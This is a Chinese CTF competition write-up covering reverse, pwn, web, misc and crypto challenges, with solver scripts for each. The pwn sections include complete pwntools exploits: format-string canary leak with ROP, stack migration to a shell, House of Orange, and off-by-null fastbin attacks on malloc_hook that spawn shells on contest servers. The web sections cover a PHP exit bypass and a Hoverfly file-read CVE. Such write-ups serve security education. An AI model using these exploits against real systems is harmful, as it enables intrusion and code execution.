逆向的babyre
32位无壳,IDA打开
两个smc自解密
68行下断点,动调
输入32个a绕第一个长度判断
然后分析sub_F112F0()和sub_F11130()两个函数
sub_F112F0()是对我们输入的字符中的大小写字母进行了偏移
没有找到我们想要的结果,回过头继续分析
sub_F11100()函数中存在反调试
eax的值改成0,绕过反调试
第二层smc
有一条花指令,把jmp给nop掉就好
找到关键的tea加密,动调找sum值,找一个tea解密脚本一套就好
数据
exp:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
void string_to_uint32_array(const char* input, uint32_t* output) {
for (int i = 0; i < 4; i++) {
output[i] = ((uint32_t)input[i * 4] << 24) |
((uint32_t)input[i * 4 + 1] << 16) |
((uint32_t)input[i * 4 + 2] << 8) |
((uint32_t)input[i * 4 + 3]);
}
}
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
/*printf("正在加密的数据:0x%x 0x%x\n", v[0], v[1]);*/
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}
uint32_t* change_key(uint32_t* key)
{
for (int i = 0; i < 4; i++)
{
key[i] = key[i] ^ 0x52;
}
return key;
}
void caesar_encrypt(char* input, char* output, int shift) {
for (int i = 0; i<16; i++) {
// 处理大写字母
if (input[i] >= 'A' && input[i] <= 'Z') {
output[i] = (input[i] - 'A' + shift) % 26 + 'A';
}
// 处理小写字母
else if (input[i] >= 'a' && input[i] <= 'z') {
output[i] = (input[i] - 'a' + shift) % 26 + 'a';
}
else {
output[i] = input[i]; // 非字母字符不变
}
}
output[strlen(input)] = '\0'; // 添加字符串结束符
}
void caesar_decrypt(char* input, char* output, int shift) {
caesar_encrypt(input, output, 26 - shift); // 解密等同于加密
}
int main()
{
uint32_t v1[8]={ 0x369a1583,0x9a9e6d, 0xbe761c60, 0x3ed644a0, 0x64716a51 ,0x6c49686c, 0x546c4f64 ,0x6c21217d };
uint32_t k[4] = {0x1234,0x3456,0x5678,0x7890};
uint32_t* kk = change_key(k);
decrypt(v1, k);
decrypt(v1+2, k);
printf("解密后的数据:0x%x 0x%x 0x%x 0x%x\n", v1[0], v1[1],v1[2], v1[3]);
char flag2[16];
char flag1[16];
int index = 0;
int index1 = 0;
for (int i = 0; i < 4; i++) {
for (int j = 3; j >= 0; j--) { // 每个 uint32_t 有 4 个字节,逆序输出
uint8_t byte = (v1[i] >> (j * 8)) & 0xFF; // 获取第 j 个字节
flag1[index++] = (char)byte;
}
}
for (int i = 4; i < 8; i++) {
for (int j = 3; j >= 0; j--) { // 每个 uint32_t 有 4 个字节,逆序输出
uint8_t byte = (v1[i] >> (j * 8)) & 0xFF; // 获取第 j 个字节
// printf("%c", byte); // 输出字节
flag2[index1++] = (char)byte;
}
}
char flag3[16];
caesar_decrypt(flag2,flag3,3);
for(int i=0;i<16;i++)
{
printf("%c",flag1[i]);
}
for(int i=0;i<16;i++)
{
printf("%c",flag3[i]);
}
return 0;
}
pwn-green
32位程序
Main函数中前两行只是初始化,分析func函数
存在栈溢出和格式化字符串漏洞
然后再查一波字符串
没有后门,但是有个.rodata:0000200D 00000010 C Flag not found!。
去虚拟机里面查一波保护
保护全开
根据刚刚的字符串找到判断逻辑
通过修改ebx寄存器中存储的地址值,我们可以绕过对环境变量中flag的读取判断,从而直接获取所需的flag值。F5看看
这里也不需要我们执行system(“/bin/sh”)提权了,直接就能输出flag的值
在虚拟机里面运行一下
泄露出canary
查一下rop链,有可用的rop
拿到flag
exp
from pwn import *
exe = ELF("./green")
context.binary = exe
offset1 = 0x1463
# r = process("./green")
r = remote("47.99.133.209",52578)
r.sendline(b"%11$p/%15$p")
r.readuntil(b'luck.')
leak = r.readuntil(b'/').strip()
value = int(str(leak)[2:-2],16) - 0x3fb4
log.success(hex(value))
cana = r.read().strip()
cval = int(str(cana)[2:-1],16)
log.success(hex(cval))
exe.address = value
rop = ROP(exe)
rop.check1(0x1337)
rop.check2(0x420)
rop.check3(0xdeadbeef)
rop.finalcheck(0x123)
payload = b'A' * 32
payload += p32(cval)
payload += b'A' * 12
payload += rop.chain()
print(rop.dump())
r.sendline(payload);
r.interactive()
PWN-stackmaigration
在main函数中首先先进行了三个初始化,然后调用了一次puts函数,继续分析vul()。
这里return了一个read函数,会造成栈溢出
这里直接给了我们一个s,运行一下
这里给出了我们一个地址0x7ffd677ffb40,先记下
这里给了我们一个system后门
拿到可以利用这个system函数,我们输入一个”/bin/sh\x00”字符串就行
然后checksec查一下保护,然后发现有nx保护
查一下rop链看一下有没有可用的rdi
有一条可用的0x0000000000400963 : pop rdi ; ret
找到返回地址0x0000000000400896
先将”/bin/sh”这个字符串弹到rdi,再调用system函数,然后平衡堆栈。
exp
from pwn import *
file_name = "./stackmigration"
io = remote('47.99.133.209', 50844)
#io = process(file_name)
context(arch=elf.arch, log_level='debug', os='linux')
lr = 0x400896
pop_rdi = 0x400963
call_system = 0x400835
io.recvuntil("Give you a gift:")
stack = int(io.recv(len("0x7fff8ae99b90")),16)
log.info("stack:"+hex(stack))
fake_ebp = stack - 8
payload = flat(pop_rdi, stack + 0x18, call_system, "/bin/sh\x00", fake_ebp, lr)
io.recvuntil("Do you still have something to say?")
io.sendline(payload)
io.interactive()
pwn-Orange
题目名字叫orange,猜测可能是用house of range的方法
来到main函数,先看菜单
再依次查看add函数edit函数和show函数,发现edit存在堆溢出
查一下字符串,发现有后门
跟踪一下来到target()函数
Checksec查看一下保护
发现可以劫持got表,而且没有PIE保护。
在IDA中找到后门函数的位置
0x4009B7
看一下我们第一个add后的堆的分布情况
查一下elf,got,和plt
再申请一个大小为0xf40和大小为0x90的两个chunk
首先用House of Orange获取fastbin地址,然后用堆溢出house of spring的方法,泄露got表地址,接着把puts的got表写进list中的第一个位置,最后edit第一个chunk内容替换为后门函数。
exp
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys
ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))
filename = './Orange'
url = ''
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * 0x0000000000400B43
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
def add(size , content) :
p.sendafter('Please enter your choice>>\n' , b'1')
p.sendafter('input your note size' , str(size))
p.sendafter('input your note' , content)
def edit(idx , size , content) :
p.sendafter('Please enter your choice>>\n' , b'2')
p.sendafter('input note index' , str(idx))
p.sendafter('input your note size' , str(size))
p.sendafter('input your note' , content)
def show(idx) :
p.sendafter('Please enter your choice>>\n' , b'3')
p.sendafter('input index' , str(idx))
add(0x10 , b'aaaa')
payload = 0x18 * b'a' + p64(0xfe1)
edit(0 , len(payload) , payload)
add(0xf40 , b'bbbb')
add(0x90 , b'cccc')
fake_chunk = 0x60209d
payload = b'a' * 0xf48 + p64(0x71) + p64(fake_chunk)
edit(1 , len(payload) , payload)
add(0x60 , b'aaaa')
add(0x60 , b'aaaa')
puts_got = elf.got['puts']
payload = b'a' * 0x13 + p64(puts_got)
edit(4 , len(payload) , payload)
show(0)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8 , b'\x00'))
lss('leak_addr')
libc = LibcSearcher('puts' , leak_addr)
base_addr = leak_addr - libc.dump('puts')
binsh = 0x400987
payload = p64(binsh)
edit(0 , len(payload) , payload)
p.interactive()
pwn-babyheap
来到main函数,先看菜单
依次查看add,edit,show,delete四个操作
Add函数就是正常的输入和分配内存空间。
在edit中没有free函数,也不存在堆溢出
Show也是正常打印chunk中的内容
Delete函数中也不存在uaf漏洞
查字符串,没有找到后门函数
但是在read_input函数中发现off-by-null漏洞。
还是checksec先查一下保护
没有pie,还可以劫持got表
查一下rop链,有可以利用的rsp去满足one_gadget的条件
申请4个chunk然后查看一下堆的分布
可以利用off-by-null漏洞构造堆块重叠,然后利用堆块重叠修改fastbin的fd指针进行fastbin attack。最后打malloc_hook用realloc调节rsp的值,以满足one_gadget的条件。
exp
from pwn import *
from ctypes import *
import sys
import time
ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))
filename = 'babyheap'
url = '114.55.67.167:50739'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
# io = process(filename)
# gdb.attach(io)
match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF('./libc-2.23.so')
def add(size , content) :
p.sendafter('Choose an option >> ' , b'1')
p.sendafter('How much do you want\n' , str(size))
p.sendlineafter('Enter something?' , content)
def edit(idx , content) :
p.sendafter('Choose an option >> ' , b'2')
p.sendafter('input index\n' , str(idx))
p.sendlineafter('Enter something?' , content)
def show(idx):
p.sendafter('Choose an option >> ' , b'3')
p.sendafter('Give me a index.Let you see see\n' , str(idx))
def free(idx) :
p.sendafter('Choose an option >> ' , b'4')
p.sendlineafter('input index\n' , str(idx))
add(0x100 , b'aaaa') #0
add(0x30 , b'ccc') #1
add(0x68 , b'dddd') #2
add(0xf0 , b'eeee') #3
add(0x10 , b'ffff') #4
# pause()
payload = p64(0) * 12 + p64(0x1C0)
edit(2 , payload)
free(0)
free(3)
add(0x100 , b'aaaa') #5
show(1)
main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 88
lss('main_arena')
malloc_hook = main_arena - 0x10
base_addr = malloc_hook - libc.sym['__malloc_hook']
lss('base_addr')
one_gadget = [0x4527a , 0xf03a4 , 0xf1247]
execve = base_addr + one_gadget[0]
free(2)
add(0xA0 , b'bbbb')
fake_chunk = malloc_hook - 0x23
payload = p64(0) * 7 + p64(0x71) + p64(fake_chunk)
edit(2 , payload)
add(0x60 , b'ccc')
add(0x60 , b'hhh')
lss('fake_chunk')
realloc = base_addr + libc.sym['realloc']
payload = 11 * b'a' + p64(execve) + p64(realloc + 14)
edit(5 , payload)
lss('malloc_hook')
# sleep(3)
p.sendafter('Choose an option >> ' , b'1')
p.sendafter('How much do you want\n' , str(0x10))
p.interactive()
逆向-eazyre
来到main函数,发现有花指令
这里有个反调试,再返回汇编分析
所以这个也nop掉,绕过调试
密文:
XPiEuC7pvsk6A6y7tibZ6ofs8RMaTp8DLb6kXalsmLLsy5T5xp3v41E=
然后回到主函数
继续分析sub_4014D0,sub_401130,
这是一个rc4
这是一个base
先解密rc4,然后再用厨子解base
exp
#include<stdio.h>
typedef struct _RC4INFO
{
unsigned char s_box[256];
unsigned char t_box[256];
}RC4_INFO,*PRC4_INFO;
void rc4_init(PRC4_INFO prc4,unsigned char key[],unsigned int keylen)
{
int i=0;
int j=0;
unsigned char tmp;
if(prc4==NULL)
{
return;
}
for(i=0;i<256;i++)
{
prc4->s_box[i] = i;
prc4->t_box[i] = key[i % keylen];
}
for(i=0;i<256;i++)
{
j=(j+prc4->s_box[i]+prc4->t_box[i])%256;
//开始交换
tmp=prc4->s_box[i];
prc4->s_box[i]=prc4->s_box[j];
prc4->s_box[j]=tmp;
}
}
void rc4_crypt(unsigned char data[],unsigned int datalen,unsigned char key[],unsigned int keylen)
{
int dn=0; //data[n]的意思
int i=0;
int j=0; //i j分别用于交换sbox[i] 和 sbox[j]
int t=0; //t = s[i] +s[j]
unsigned char tmp;
RC4_INFO rc4;
rc4_init(&rc4,key,keylen);
for(dn=0;dn<datalen;dn++)
{
//i确保S-box的每个元素都得到处理,j保证S-box的搅乱是随机的。
i=(i+1)%256;
j=(j+rc4.s_box[i])%256;
//交换 s_box[i] 和 s_box[j]
tmp=rc4.s_box[i];
rc4.s_box[i] = rc4.s_box[j];
rc4.s_box[j] = tmp;
//交换完之后 再把s[i] + s[j]的组合当做下标再去异或.
t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
data[dn] ^= rc4.s_box[t];
}
}
void EntryBuffer(unsigned char data[],unsigned int datalen)
{
unsigned char key[]= {0x13, 0x37, 0x42,0x85};
rc4_crypt(data,datalen,key,sizeof(key)/sizeof(key[0]));
}
int main()
{
// char Hell[] = "flag{2aed4771-b75048e3-db87779b-a3811911}";
char Hell[] ="0xf0,0x52,0x47,0x16,0x4a,0xce,0xe3,0xfd,0x75,0xc2,0xdd,0x20,0x73,0x80,0x58,0xab,0xd4,0x25,0xca,0xcf,0x30,0xd,0x7b,0x19,0xa4,0x98,0x88,0xaa,0x26,0xb0,0x17,0x5d,0x94,0x87,0x92,0xbe,0x38,0x9a,0x8c,0x7c,0xf6";
EntryBuffer((unsigned char*)Hell,sizeof(Hell)/sizeof(Hell[0]));
printf("%d\n",sizeof(Hell)/sizeof(Hell[0])); //加第一次调用就是加密
int i=0;
for(i=0;i<sizeof(Hell)/sizeof(Hell[0]);i++)
{
//
printf("0x%x,",(unsigned char)Hell[i]);
printf("%c",(unsigned char)Hell[i]);
}
printf("\n%d\n",i);
EntryBuffer((unsigned char*)Hell,sizeof(Hell)/sizeof(Hell[0]));
printf("解密后:pData=%s\n\n", Hell);
return 0;
}
web-fillllll_put
Get传参 filename和content
File_put_contents 写入代码进文件。
Filename传 文件名,content传 代码
但是中间存在 <?php exit(); 死亡函数
所以需要绕过此函数
<?(); 不会被base64编码。所以被编码的只有 php exit 只有7位
那么我们的base64编码后的数据加一位即可。
经过遍历发现,flag即不在根目录,也不在网站目录,env中也没有,最终flag在tmp里
web-Hoverfly
搜索这个Hoverfly
Hoverfly 是一个提供的轻量级服务虚拟化/API模拟/API模拟工具。
/api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。
这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。
首先抓取这个路由查看
需要传json
发现能够命令执行
那么可以找找flag
通过字典爆破
在根目录和网站目录都未找到flag
但是不在根目录和网站目录会在哪里?根据第一题的flag在tmp中。通过爆破
只有俩个是200
但是报错?
发现网上的文字使用PUT也可进行文件包含。尝试
https://github.com/wy876/POC/blob/main/Hoverfly/Hoverfly%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3simulation%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0(CVE-2024-45388).md
成功获取
web-ssrf
题目名说是ssrf,
进行绕过
尝试了[::],@,特殊域名,进制转换,句号等都不行。
最后使用短链接发现可行。
使用站长工具
可以发现得到原码。读下flag
flag位置在flag.php
web-ezpng
下载附件打开
有一个flag.png与password.txt
查看password.txt,经过一把梭发现是base64
密码是 cimbar
不知道这个密码有什么用,但是搜到了一个github 是用来
cimbar 是一种概念验证的二维数据编码格式——非常类似于QR 码、JAB 码和微软的 HCCB。
查看图片,最终fuzz到了是xor
保存图片到本地
得到新图片,
打开发现与找到github项目中的类似,尝试使用这个项目运行脚本
使用脚本运行
Python -m cimbar.cimbar 1.png -o flag.txt
虽然报错,但是成功输出文件
签到题-大赛宗旨
0宽隐写
ZmxhZ3s1ZDU1NTVmYS0xMzAzLTRiNDMtOGVlZi1kNmVhN2M2NGMzNjF9
flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}
misc-esab
解密网站:https://www.wqtool.com/basecode
先进行翻转,觉得这是base62
VnUvMlo+emByJSNPaEV9aXhKIzxnb1J2c1IkJmFbTG1YeixKXyp7eyskcSp9WV9pX3FrPSZpMGVASnomJF5SVSVHVmZ2biFTUSY/NE85QGliclQuZ28hWTJUJiZRXkxtXnclSVJbL0I=
然后base64
Vu/2Z>z`r%#OhE}ixJ#<goRvsR$&a[LmXz,J_{{+$q}Y_i_qk=&i0e@Jz&$^RU%GVfvn!SQ&?4O9@ibrT.go!Y2T&&Q^Lm^w%IR[/B
特别像base91解密
opoNo5otsJcpcdchc9cxclo9ol8Rolctopc18RcBopc1o58Ropo9cBc18Rcxoho5cdo5c9ctopodolc1cpsR
然后base62解密
flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}
密码-ezrsa
签到题,中国剩余定理
from Crypto.Util.number import *
import gmpy2
from functools import reduce
# 模数列表 n_list 和 密文列表 c_list
n_list = [
66713068295640123413518043679913370923560077389016834699625591280879282047385580519245403302207114741281472997841541531287076973224279941649021535158376552494753299204575589142430284284245902413434936761821799053759034189893017134579658955719886273361722719112743586542747088480330917580156612938839250815003,
93220359729942518400923319353609855683086052837300675001244736571202233288801372553449408397689671981434057617518899402068905085286369656470335384345232065925153852793862944459424133537991621353691699611625715366974136180583843591508153614052037629606307298558367556655731098521869053032772401730403014449411,
52202773445480937424957100107218762961120283036868010272682251953657674323304499771956016361962421205773156515507563827756643249104742340232742821376488784769891503342865868526919624818397054897905012127075859262952310097157907061344025347963650086443568680953905161157142612464840961117362620801749842408879,
82553091456291336768427636001211333148350777177895589619884526855175557207820633168970479619932906390584318202289854140553376548714411052752572009881543144730480476077880021537960949338405404958761168462246680451456125133754632997631949332320326017613289694983606666716680033606392964861804003584352680590087,
126128435524890593300334615443194513842505260782298991058088278168395895439505633982038040121402360495508323195308297803504735565186008100115370181050483351447644843345197960248620729714988601407534725902209206970706208957109895421381133644050169949239120391954419828419646235622192096983089233429399798724487,
147720770377839100046936497325485136233566856174851147500154290566277684557076944335857851098373121814105829685203159352831436378953250080092174133899668012220790232079503109510689810335337728388773927584457619779716463492595401880008310538176873629037401466975901825628623051950211929925214837578332196553599,
124745293442434036385822462573709029035838193243455140374004343372128515081182349880050066834995439331895246886612935567956942945644079345244280145073777541185777585728280312507028128615465026099188525829472122192943136139654002445255523350717509722226068753864376920017221041478273347340655965581264836805623,
64656553220163718805421487264999277997892395292051840710229549012813342103500529051439814363514417257605481961558538034337044004386537267801729555014122714842391331402276971310101298482954289819202770742743469979203276082437481909854637859797102334245371638799858873873188431752871644960079701293335747461831,
154462961163638672730309927702785192434305799838715175474990142746477464921396636812042793324143787346439455100764604617253217478519575381751036655163922606997960615852053060424250051534473828208356751768540768480213916080575159287230278791786807130716553816283037177870759790969384364642653232602468977815247
]
c_list = [
51005516677417731886422613156402193350848583130533301906631992184482032048070107769818228079761720652832901023407822071655421580929907698799917933792960386846321370913559830272810379334182054783031538600198349058002169866824222330811827319616021940546950576540874306599558331332151055146737648080935494708588,
2041821123943473753926018035036127142293912801344695164334852819344638501433889053269955640381265246796708182948891351463478165192547358805280444112021688736247730161578747136357928895397269414940719487328949498438102882593196857341527917555021413367950508316840335830689597383465186358872674808025884021885,
46039089253322895811415983657459035212735944272443483136853555344667290454119007801590490041259097151897732463907281406082335077604849132078446981231884370863820232336507275455767858612185246444188147542289218495584026583448273138219905723711108672612950627623799697592779175874022447423932452148543363787640,
2141453012108157552120303062697739340853570994155675106097651019594420129141220901608419609082415135997293880005773756263389204887711558521855045106895075772213924319456997007171536138494274692890230609458290192980986669338031109788977632895632700245278069147479684426240615061064967367694067860411487423629,
76749087885794868408562971424611464076430009398548197992247726105066117869497135062312665153772469258809032481701272674637826659858835954148415069808346193613807990801293969464455284990574537791095652240744633974209776335844454832745233667455060558077310143770445403006416969005307667369727581132297960295340,
129889778177138425060084420953465203875702152174072537346221842914157406769944362646320734563342499686995626438417203633387851527307925692308799272755919745234368065011417961931673684360135410907645818314090652813758836919104618375252457260402923145245889643621469138808848260838951643210609251572858120327495,
108052613612357352725536091796067255652024419037660964052217185481829734452037779785712215364053116702484384622526267250489021108209478623969497489177944680864365447787229766222546592710250224997176901299205943666999952675444279695627743788911406784072960143874125846847184624670127441248507191247442198460789,
25928340017378545972137564258602345053659415847643859318668245604506696128407382577187489651429812610536514435867501876671515838666597930094267436053423009057513573482499095162969953109513790712156495250568946074742211364960292725805474100283556046328318406696121063618778241916883747109525050277568846023327,
5719067069866090256610955425807298842117899833885283417646439095103501424652337751644977233509637214830422145008935269688470956058326551761160898415661754588089616594231873985715403389476818739027591464587460581924534479591703919621116231727841975375866296368110957023963777324175359081722392018178256892283
]
e = 9 # RSA 加密使用的指数
# 中国剩余定理(CRT)函数
def CRT(mi, ai):
assert (reduce(gmpy2.gcd, mi) == 1), "模数不是互质的" # 确保模数是互质的
assert isinstance(mi, list) and isinstance(ai, list), "输入应该是列表类型" # 确保输入是列表
M = reduce(lambda x, y: x * y, mi) # 计算 M = n1 * n2 * ... * nn
ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for m, a in zip(mi, ai)] # 使用中国剩余定理公式
return reduce(lambda x, y: x + y, ai_ti_Mi) % M # 计算并返回模 M 的结果
# 使用 CRT 合并模数和密文,得到加密后的明文
m = gmpy2.iroot(CRT(n_list, c_list), e)[0]
# 将解密后的明文转换为字节格式并打印
print(long_to_bytes(m))
密码-Madoka Runes
得到原图发现是
发现是魔法少女文字,根据对应的表一对一解密
得到密码:ctf951zhen
解开压缩包得到flag
misc-windows
拿到的文件,无法打开,使用rot13后发现PK标识
保存下来,发现这个zip存在密码。
使用john进行爆破
爆破出是p@ssw0rd
解压出来是一个日志文件,直接事件查看器,先看4624
这么多登录成功
根据题目描述试试黄金票据
4768:客户端向 KDC 请求 TGT
4769:请求服务票据
4624:用户登录成功
看下4768
???
有三个
第三个的用户和第二个一样
所以只有俩个用户
通过MD5 用户名+时间得到flag
密码-4door
轮子模版:https://github.com/jvdsn/crypto-attacks/blob/master/attacks/factorization/complex_multiplication.py
后门攻击,在曲线上和商环上做
轮子导入本地sage教程
然后解压出attacks和shared
创建个0.ipynb就能跑了
exp
from attacks.factorization import complex_multiplication
import sys
sys.setrecursionlimit(10**6)
n = 23905475512365883122674408238955539155764722366217012545397874540862337334240016295800125839666379728072321165937705962913280606073090970895142797828890967895964711232778350747246145437063213797431406035930174111043042340520332940609525581739023092298039562772423262765827124701021969335352335683792731683921665507741401586702876932709526723050390599457874833474203654573826450071697539641600322677144352938390876652392608502272076553363040364616750658572691385895505437242478151873823349763431066100830530865683577851333177933883559685556857237139613218194081446956323024853443261620884805303981306446372802015044771639426999749528610475388861786694864415139994859276371131942573350304814695091460001587702769577342755316734174332921026422723617077752187651429392825613071820790930071213362634211053716954311368831862903499625111683201402526987572026698743470957191372997973386719129801283901357299485943586220652418988756989
c = 20290124145262596131171262098400968763029234061511934834222170323336352789493462981125252905144849253567410785045251291281965974162517541092753592621976991536420386296008923067690131499917309230770425673361420526278705677868350261448920451435130093572132312421788350025260541205230414987558889506859141578553149107724691009183251887162853495222266814426521607565821520571300280892509216229126792313714540405688099386257359428381050142559724638272785150430571010230291579795372462576424848672863369953788642729601376423815467431808384249324317160756723240875922680353619529182039048235291664132823541196629191203977620809650328092884416626985657394934834405937347004155818332568478234548850387649090494274601825700088378489565113317791020951975667943227729845304723849530630874343911522720043521661229624936713672517051272032637783376281256972132726759806237600969520741491040216491707848210629024308070724592683363625778406304
p, qr = complex_multiplication.factorize(n, 43)
q, r = complex_multiplication.factorize(qr, 67)
print([p, q, r])
d = pow(65537, -1, (p - 1) * (q - 1) * (r - 1))
m = pow(c, pow(65537, -1, (q - 1) * (r - 1)), q * r)
print(bytes.fromhex(hex(m)[2:]))
misc-so far so good
国外原题:
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md
对 Arduino 的草图进行分析,将其与 ChaCha20 一起使用。
根据 Arduino 的个性化协议消息消息,dobbiamo:
Estrarre i pacchetti USB BULK-IN/BULK-OUT dal Flusso TCP nella cattura di rete
发送有关 pacchetti USB 个性化协议的消息
Dopo aver estratto tutti i messagesaggi,
chiave通过操作码发送消息0x74
nonce通过操作码发送消息0x11
通过操作码恢复ciphertext所有内容和消息的连续性0xC1
废除flagChaCha20(key, nonce, ciphertext)
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys
KEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFF
streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")
for p in cap:
try:
i = int(p.tcp.stream)
streams[i] += bytes.fromhex(p.data.data)
except:
pass
cap.close()
stream = streams[0]
kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')
def read():
global stream
s = stream[0]
stream = stream[1:]
return s
class Message():
def __init__(self) -> None:
self.code = None
self.param = None
self.len = None
self.data = None
def read(self):
self.code = read()
self.param = read()
self.len = read()
self.data = []
for i in range(self.len):
self.data.append(read())
def handle(self):
global KEY, IV, cipher, keyset, nonceset, cipherset
match self.code:
case KEYSET:
for i in range(32):
KEY[i] = self.data[i]
keyset = True
cipherset = False
case NONCESET:
for i in range(8):
IV[i] = self.data[i]
nonceset = True
cipherset = False
case STORE:
if not keyset or not nonceset:
return
if not cipherset:
cipherset = True
cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
dec = cipher.decrypt(bytes(self.data))
for i in range(self.len):
FLAG[10 * self.param + i] = dec[i]
if -1 not in FLAG:
print(bytes(FLAG))
return True
case RESET:
KEY = [0] * 32
IV = [0] * 8
keyset = False
nonceset = False
cipherset = False
_stream = stream[:]
for ki in kidxs:
for ni in nidxs:
if ki > ni:
continue
print('key index:', ki, '\tnonce index:', ni)
KEY = [-1] * 32
IV = [-1] * 8
FLAG = [-1] * 40
keyset = False
nonceset = False
cipherset = False
cipher = None
try:
stream = stream[ki:]
m = Message()
m.read()
m.handle()
stream = stream[ni-ki-35:]
m = Message()
m.read()
m.handle()
while len(stream)>0:
ni = stream.index(NONCESET) if NONCESET in stream else 99999
si = stream.index(STORE) if STORE in stream else 99999
next_idx = min([ni, si])
stream = stream[next_idx:]
m = Message()
m.read()
if m.handle():
break
except:
print('Exception')
pass
stream = _stream[:]
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-